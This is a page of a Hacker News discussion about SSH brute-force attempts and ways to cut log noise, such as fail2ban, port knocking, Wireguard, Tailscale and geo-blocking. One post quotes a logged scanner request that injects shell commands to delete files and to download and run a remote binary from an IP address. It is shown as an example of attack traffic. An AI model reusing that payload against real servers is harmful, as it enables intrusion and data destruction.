Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Who's Attacking My Server?

bastian.rieck.me

Post reply on HN
Print view View original

221–230 of 231 posts

Re: Who's Attacking My Server?

#221

Post by alternatetwo »

randomtwiddler wrote: post #186
rascul wrote: post #70

Earlier quoted context omitted.

I believe the implication is that a properly configured server isn't going to allow passwords, and fail2ban isn't much more than a log size reducer when passwords aren't allowed.

I'm all about reducing the noise in log files. I've had three production servers go down for various clients and the primary reason was full disk, primarily due to log files.

We've had a server go "down" due to log files too, but not because of size, but because of inodes. I think the samba server logged each incoming request into an empty text file with the IP. This eventually caused some problems, but we could still ssh in and delete the files ... but it's not fun to find out what even happened and to do that without autocomplete.

Re: Who's Attacking My Server?

#222

Post by winternett »

I've even had my search logs attacked by bots submitting spam search terms multiple times in hopes that I run a "popular search terms" page... Thank goodness I don't allow public comments, it seems like the ability to comment on things may be totally gone by 2024 unless we don't address the specific places the spam is really coming from and why instead of just hardening our own local security.

Re: Who's Attacking My Server?

#223

Post by alasdair_ »

passivate wrote: post #220
alasdair_ wrote: post #160

Earlier quoted context omitted.

> Can you really call it a public service if its not accessible to the public? Maybe a "Americas/Europe"-only service, but then it would sound questionable... The Seattle Public Library is a public service despite not allowing residents of Guangzhou to borrow books.

That is false. They can apply for a visitor card - which has a $25 fee. In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??

I'm doing the "it's still a 'public service' even if there are location restrictions" argument, since almost anything I can think of as a typical example of a "public service" (police, fire, medical, education, access to courts, etc.) also have location restrictions and we call all of those things "public services".

If you want a special definition of "public service" that means "accessible every human on earth without any exclusions" then that's fine, but telling someone something isn't a public service because you want to use a special definition of the phrase that no one else seems to use is a bit... overly argumentative?

Re: Who's Attacking My Server?

#224

Post by ratorx »

jweir wrote: post #195
ratorx wrote: post #103

Earlier quoted context omitted.

I’d say MAC/IP filtering is more annoying in the long term than Wireguard, since I’m not sure I could say that I will 100% never need to access the server unexpectedly from somewhere else. But the ordering before that seem very reasonable. Although Wireguard is a soft alternative to changing default port, so it might be worth doing that. On a slight tangent, I’ve never really bought into changing SSH port from defaul…

Changing the port cut the invalid auths from 1000s a day to 0. Why deal with and log that spam?

Depends, I don’t think the storage requirements for the spam is that high and I would rather just use grep than remember the nonstandard port I picked.

But I guess this is partly because I tend to look at logs a lot less than I SSH into my server.

Re: Who's Attacking My Server?

#225

Post by orev »

YATA0 wrote: post #144

Port knocking, Wireguard, never look back. You can set an alert for every failed SSH connection because if someone is able to get through that, it's alarming. This setup has the side effect of reducing your log noise to zero. That SNR is super important for intrusion detection.

An upgrade to port knocking is Single Packet Authorization [1]. It doesn’t suffer from the observability, and other, problems of port knocking.

[1] https://www.cipherdyne.org/fwknop/

Re: Who's Attacking My Server?

#226

Post by passivate »

alasdair_ wrote: post #223
passivate wrote: post #220

Earlier quoted context omitted.

That is false. They can apply for a visitor card - which has a $25 fee. In any case, physical goods and services are not analogous to digital goods and services. Or are you redoing the the piracy-is-stealing argument??

I'm doing the "it's still a 'public service' even if there are location restrictions" argument, since almost anything I can think of as a typical example of a "public service" (police, fire, medical, education, access to courts, etc.) also have location restrictions and we call all of those things "public services". If you want a special definition of "public service" that means "accessible every human on earth witho…

Fair enough, I didn't mean to be argumentative but I accept your criticism.

Re: Who's Attacking My Server?

#227

Post by bhch »

yabones wrote: post #120
bhch wrote: post #75

Earlier quoted context omitted.

> Fail2ban is theater on a properly configured server How do you block scanner scripts making hundreds of requests to your http server attempting to find login pages and other "secret" urls? I see a variety of weird requests made to my http server. A sample: `GET /shell?cd+/tmp;rm+-rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws HTTP/1.1` Fail2ban seems a decent solution for this. Unless, of course, there's a better soluti…

I have a separate log file for the default vhost that's not parsed by log aggregation tools. Most scanners just hit your IP rather than an actual hostname (unless your site is very popular and well-known), so most spam ends up there. That keeps your actual log file much cleaner. https://docbot.onetwoseven.one/services/nginx/#the-go-away-v...

This is a neat little solution. Thanks. I'll set this up and test it out.

Re: Who's Attacking My Server?

#228

Post by michaelcampbell »

grog454 wrote: post #147
michaelcampbell wrote: post #126

Earlier quoted context omitted.

I DO run a "public" service, in that it provides some info to people. However I run it at totally my own cost, the information is for entertainment value only (and not in the "I just say that to get around this being horrible in some way"; it's literally information about gaming and games), and I just don't need the hassle of the constant hack attempts. I block China and Russia, and have for years, using publicly ava…

Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily? Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords suffic…

> Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily?

Thousands of brute force login attempts per day gone. The effect is, as you say, small, but it was non 0 and now it is 0, and it's a bunch of noise I don't have to wade through.

> Failed login attempts / brute force attempts seem like the cost of doing business in public.

Yup, and I pay that cost by blocking the source of 98% of them.

> purely like a fear response with no rational basis (or at least a poor understanding of probability / stats)

Thanks, clearly you know me well /s. And honestly, again, I don't feel that I even NEED a rational basis. It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks. If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you.

Re: Who's Attacking My Server?

#229

Post by willstrafach »

pengaru wrote: post #60
Spooky23 wrote: post #47

Earlier quoted context omitted.

I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS.

> I think a better solution now is something like Tailscale for anything administrative. I’ve been doing this for Minecraft servers for a year or two, and it eliminates a ton of BS. All I'm hearing is that Tailscale is becoming an increasingly attractive bastion host to compromise, then use as a jump server to access heaps of poorly configured customer machines.

How would that work? Connections are mainly peer-to-peer with Tailscale. An attack (I suppose pushing new key pairs to specific peers and pointing them through a malicious endpoint?) would likely require a very noisy and detectable process.

Re: Who's Attacking My Server?

#230

Post by grog454 »

michaelcampbell wrote: post #228
grog454 wrote: post #147

Earlier quoted context omitted.

Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily? Failed login attempts / brute force attempts seem like the cost of doing business in public. I assume that if my servers are accessible from 1 or more public addresses, they WILL be subject to brute force attempts. I also assume that by making my passwords suffic…

> Honest question: what impact did you see when you switched from not blocking China + Russia to blocking them? What type of attacks are you seeing primarily? Thousands of brute force login attempts per day gone. The effect is, as you say, small, but it was non 0 and now it is 0, and it's a bunch of noise I don't have to wade through. > Failed login attempts / brute force attempts seem like the cost of doing business…

> If you want to deride me by calling into question my motives, you can do that too for whatever reason YOU want to, but that's on you

You are free to act under whatever impetus you want and while I did call in to question your motives (implicitly), I never meant that as a derision. I frequently ask myself "why am I doing this?". It usually doesn't hurt to self reflect.

Edit: Something about this kept nagging me. And I think its this:

>It's my system, I'll block whomever I feel like blocking for whatever reason I want, thanks.

I see parallels to a sentiment that used to be fairly common in the U.S.:

"It's my store, I'll refuse whomever I feel like refusing for whatever reason I want, thanks"

Laws against that kind of thing are relatively new (1964?). You have a valid reason to block certain users (hacks) but do you really not see a problem extending that to national origin?

Post reply on HN